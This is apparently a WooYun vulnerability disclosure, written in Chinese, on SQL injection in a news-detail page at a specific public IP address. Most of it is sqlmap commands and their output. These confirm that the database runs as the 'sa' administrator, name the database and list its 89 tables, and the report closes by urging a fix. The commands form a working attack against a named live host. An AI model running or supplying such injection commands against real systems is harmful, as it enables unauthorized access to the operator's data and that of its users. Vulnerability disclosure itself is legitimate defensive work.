WooYun.org

系统信息：
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2005
当前用户：
python sqlmap.py -u "http://211.138.77.214/XWZX/XWZXDetail.aspx?PKID=1935" --current-user
current user: 'sa'
当前数据库：
python sqlmap.py -u "http://211.138.77.214/XWZX/XWZXDetail.aspx?PKID=1935" --current-db
[23:21:20] [INFO] fetching current database
current database: 'xnlw'
查表：
python sqlmap.py -u "http://211.138.77.214/XWZX/XWZXDetail.aspx?PKID=1935" –tables –D “xnlw”
Database: xnlw
[89 tables]
+-------------------+
| BD_BDJL |
| BD_LX |
| BD_QYMK |
| BD_QY_MAP |
| BD_SJ |
| BD_SJXFL |
| BD_SJXFL |
| BD_YHSJX |
| CRM_LXR |
| GT_NBXJ_MX |
| GT_NBXJ_MX |
| GT_WTXT_HF |
| GT_WTXT_HF |
| GT_WTXT_ZF |
| LM_TPMX |
| LM_TPX |
| LM_TPZT |
| MSG_XXJL |
| MmsGet |
| MmsSEND |
| MobileGet |
| MobileSJZ |
| MobileSendMain |
| MobileSendMain |
| RZ_CZRZ |
| RZ_JGCZRZ |
| RZ_JGCZR_MX |
| RZ_JGCZSH |
| RZ_YHDL |
| SMS_TOREAD |
| SMS_TOSEND |
| S_BBMB |
| S_CHINAXZQH |
| S_DM |
| S_FJ |
| S_GNMK |
| S_Grid_UserConfig |
| S_JSLMQX |
| S_JSQX |
| S_JSXX |
| S_RYXX |
| S_SQL |
| S_TABLE_TEMP |
| S_TABLE_TEMP |
| S_XTXXJS |
| S_YHLMQX |
| S_YHQX |
| S_YHXX |
| S_YHZ_MX |
| S_YHZ_MX |
| S_ZZJGK_GX |
| S_ZZJGK_GX |
| S_ZZJG_QY |
| S_ZZJG_QY |
| Sms_Send |
| WZ_GG |
| WZ_GGW |
| WZ_LMNRMAP |
| WZ_LMNRMAP |
| WZ_LMNRMAP |
| WZ_LYB |
| WZ_RMGJC |
| WZ_YQLJ |
| WZ_ZT |
| WZ_ZXJLGJ |
| XX_BLJL |
| XX_BMSQ |
| XX_BZ |
| XX_ZCFGJDDY |
| XX_ZCFGJDDY |
| XX_ZCFGJDDY |
| XX_ZZ |
| YW_PXXQ |
| YW_XMXX |
| YW_YDHWMX |
| YW_ZPXX |
| ZJ_BF |
| ZJ_SBCZJL |
| ZJ_ZJ |
| ZZ_CPLX |
| ZZ_CPLX |
| ZZ_QYZZ |
| ZZ_XQ |
| ZZ_ZZLM |
| ZZ_ZZZX |
| gbcode |
| gbfqcode |
| gbfqmap |
| mzcode |
+-------------------+
后面表信息就不一一展示了，尽快修复吧。